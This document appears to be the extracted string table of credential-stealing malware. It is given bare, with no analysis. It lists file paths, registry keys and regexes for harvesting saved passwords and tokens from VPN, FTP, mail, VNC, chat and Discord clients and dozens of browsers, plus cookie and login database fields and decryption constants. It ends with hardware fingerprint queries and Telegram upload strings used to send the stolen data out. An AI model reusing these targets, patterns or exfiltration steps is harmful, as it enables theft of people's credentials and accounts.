https://account.dyn.com/
ALLUSERSPROFILE
Dyn\Updater\config.dyndns
t6KzXhCh
Dyn\Updater\daemon.cfg
global
accounts
account.
username
password
Psi/Psi+
\Psi\profiles
\accounts.xml
\Psi+\profiles
OpenVPN
Software\OpenVPN-GUI\configs
Software\OpenVPN-GUI\configs\
auth-data
entropy
remote
USERPROFILE
\OpenVPN\config\
NordVPN
NordVpn.exe*
user.config
//setting[@name='Username']/value
//setting[@name='Password']/value
Private Internet Access
%ProgramW6432%
Private Internet Access\data
\account.json
.*"username":"(.*?)"
.*"password":"(.*?)"
privateinternetaccess.com
ProgramFiles(x86)
\Private Internet Access\data
FileZilla
\FileZilla\recentservers.xml
<Server>
<Host>
</Host>
<Port>
</Port>
<User>
</User>
<Pass encoding="base64">
</Pass>
<Pass>
CoreFTP
SOFTWARE\FTPWare\COREFTP\Sites
hdfzpysvpzimorhk
WinSCP
SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
HostName
UserName
PublicKeyFile
PortNumber
[PRIVATE KEY LOCATION: "{0}"]
ABCDEF
Flash FXP
Sites.dat
\FlashFXP\
quick.dat
yA36zA48dEhfrvghGRg57h5UlDv3
FTP Navigator
Server
SystemDrive
\FTP Navigator\Ftplist.txt
No Password
SmartFTP
SmartFTP\Client 2.0\Favorites\Quick Connect
WS_FTP
Ipswitch\WS_FTP\Sites\ws_ftp.ini
FtpCommander
;Server=
;Port=
;Password=
\Program Files (x86)\FTP Commander\Ftplist.txt
;User=
;Anonymous=
\VirtualStore\Program Files (x86)\FTP Commander Deluxe\Ftplist.txt
\VirtualStore\Program Files (x86)\FTP Commander\Ftplist.txt
\Program Files (x86)\FTP Commander Deluxe\Ftplist.txt
\cftp\Ftplist.txt
FTPGetter
<server>
\FTPGetter\servers.xml
<server_ip>
</server_ip>
<server_port>
</server_port>
<server_user_name>
</server_user_name>
<server_user_password>
</server_user_password>
The Bat!
\The Bat!
\Account.CFN
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
Becky!
\Mailbox.ini
Account
PassWd
SMTPServer
MailAddress
HKEY_CURRENT_USER\Software\RimArts\B2\Settings
DataDir
Folder.lst
Outlook
9375CFF0413111d3B88A00104B2A6676
Software\Microsoft\Office\11.0\Outlook\Profiles
Software\Microsoft\Office\12.0\Outlook\Profiles
Software\Microsoft\Office\14.0\Outlook\Profiles
Software\Microsoft\Office\15.0\Outlook\Profiles
Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
Software\Microsoft\Office\16.0\Outlook\Profiles
IMAP Password
POP3 Password
HTTP Password
SMTP Password
Server
Windows Mail App
Software\Microsoft\ActiveSync\Partners
syncpassword
mailoutgoing
COMPlus_legacyCorruptedStateExceptionsPolicy
FoxMail
HKEY_CURRENT_USER\Software\Aerofox\FoxmailPreview
Executable
HKEY_CURRENT_USER\Software\Aerofox\Foxmail\V3.1
FoxmailPath
\Storage\
\VirtualStore\Program Files\Foxmail\mail
\VirtualStore\Program Files (x86)\Foxmail\mail
\Accounts\Account.rec0
\Account.stg
POP3Host
SMTPHost
IncomingServer
POP3Password
Opera Mail
\Opera Mail\Opera Mail\wand.dat
opera:
ijklmno
vwxyz1234567890_-.~!@#$%^&*()[{]}\|';:,<>/?+=
PocoMail
\Pocomail\accounts.ini
POPPass
SMTPPass
eM Client
Accounts
"Username":"
"Secret":"
72905C47-F4FD-4CF7-A489-4E8121A155BD
"ProviderName":"
eM Client\accounts.dat
o6806642kbM7c5
Mailbird
SenderIdentities
Server_Host
Username
EncryptedPassword
\Mailbird\Store\Store.db
RealVNC 4.x
SOFTWARE\Wow6432Node\RealVNC\WinVNC4
TigerVNC
Software\TigerVNC\Server
TightVNC ControlPassword
Software\TightVNC\Server
ControlPassword
TightVNC
PasswordViewOnly
RealVNC 3.x
SOFTWARE\RealVNC\vncserver
Software\ORL\WinVNC3
SOFTWARE\RealVNC\WinVNC4
UltraVNC
\uvnc bvba\UltraVNC\ultravnc.ini
passwd
passwd2
ProgramFiles
\UltraVNC\ultravnc.ini
JDownloader 2.0
JDownloader 2.0\cfg
org.jdownloader.settings.AccountSettings.accounts.ejs
jd.controlling.authentication.AuthenticationControllerSettings.list.ejs
Paltalk
Software\A.V.M.\Paltalk NG\common_settings\core\users\creds\
nickname
paltalk.com
Pidgin
\.purple\accounts.xml
<account>
<protocol>
</protocol>
<name>
</name>
<password>
</password>
Trillian
\Trillian\users\global\accounts.dat
trillian.im
MysqlWorkbench
\MySQL\Workbench\workbench_user_data.dat
Internet Downloader Manager
Software\DownloadManager\Passwords\
EncPassword
Discord
discord.com
Discord Token
[\w-]{24}\.[\w-]{6}\.[\w-]{27}
mfa\.[\w-]{84}
discordptb
discordcanary
Local Storage\leveldb
origin_url
username_value
Opera Stable
\Local State
"encrypted_key":"(.*?)"
\Login Data
\Default\Login Data
key4.db
metaData
nssPrivate
2a864886f70d0209
2a864886f70d010c050103
key3.db
global-salt
Version
password-check
Path=([A-z0-9\/\.\-]+)
logins.json
\"(hostname|encryptedPassword|encryptedUsername)":"(.*?)"
[^\u0020-\u007F]
signons.sqlite
moz_logins
hostname
encryptedUsername
encryptedPassword
Host:
Username:
Application:
Password:
<br>Username:
<br>Application:
<br>Password:
<br><hr>
Vivaldi
Vivaldi\User Data
CentBrowser
CentBrowser\User Data
Elements Browser
Elements Browser\User Data
Torch Browser
Torch\User Data
Edge Chromium
Microsoft\Edge\User Data
Sputnik
Sputnik\Sputnik\User Data
Liebao Browser
liebao\User Data
K-Meleon
\K-Meleon\
7Star\7Star\User Data
IceCat
\Mozilla\icecat\
Firefox
\Mozilla\Firefox\
Orbitum
Orbitum\User Data
Chrome
Google\Chrome\User Data
QIP Surf
QIP Surf\User Data
Iridium Browser
Iridium\User Data
Opera Browser
Opera Software\Opera Stable
uCozMedia\Uran\User Data
Coowon
Coowon\Coowon\User Data
CyberFox
\8pecxstudios\Cyberfox\
BlackHawk
\NETGATE Technologies\BlackHawk\
Postbox
\Postbox\
SeaMonkey
\Mozilla\SeaMonkey\
BraveSoftware\Brave-Browser\User Data
Chedot
Chedot\User Data
Cool Novo
MapleStudio\ChromePlus\User Data
Amigo\User Data
Citrio
CatalinaGroup\Citrio\User Data
Chromium
Chromium\User Data
Kometa
Kometa\User Data
Coccoc
CocCoc\Browser\User Data
Yandex Browser
Yandex\YandexBrowser\User Data
Comodo Dragon
Comodo\Dragon\User Data
WaterFox
\Waterfox\
Epic Privacy
Epic Privacy Browser\User Data
360 Browser
360Chrome\Chrome\User Data
PaleMoon
\Moonchild Productions\Pale Moon\
Thunderbird
\Thunderbird\
IceDragon
\Comodo\IceDragon\
Sleipnir 6
Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer
00061561
Berkelet DB
00000002
1.85 (Hash, version 2, native byte-order)
Unknow database format
SQLite format 3
UNIQUE
Cookies
Network\Cookies
cookies
host_key
expires_utc
is_httponly
is_secure
samesite
encrypted_value
cookies.sqlite
expiry
isHttpOnly
isSecure
sameSite
moz_cookies
\Default\
INTEGER
OBJECTIDENTIFIER
{0:X2}
SEQUENCE {
OCTETSTRING
Windows Credential
chrome
{{{0}}}
policy
sha512
ObjectLength
ChainingModeGCM
AuthTagLength
ChainingMode
KeyDataBlob
Microsoft Primitive Provider
:Zone.Identifier
SELECT * FROM Win32_Processor
win32_processor
processorID
13e99cde-d323-4ac0-8c37-ecfa4f5ffcf7
Win32_NetworkAdapterConfiguration
IPEnabled
MacAddress
3b4d68b5-9b79-46cb-a241-140eac89bed8
Win32_BaseBoard
SerialNumber
e561cdc5-c668-4d82-b9f5-709c08bb53f1
chat_id
caption
yyyy-MM-dd HH-mm-ss
sendDocument
document
---------------------------
multipart/form-data; boundary=
Content-Disposition: form-data; name="{0}"
Content-Disposition: form-data; name="{0}"; filename="{1}"
Content-Type: {2}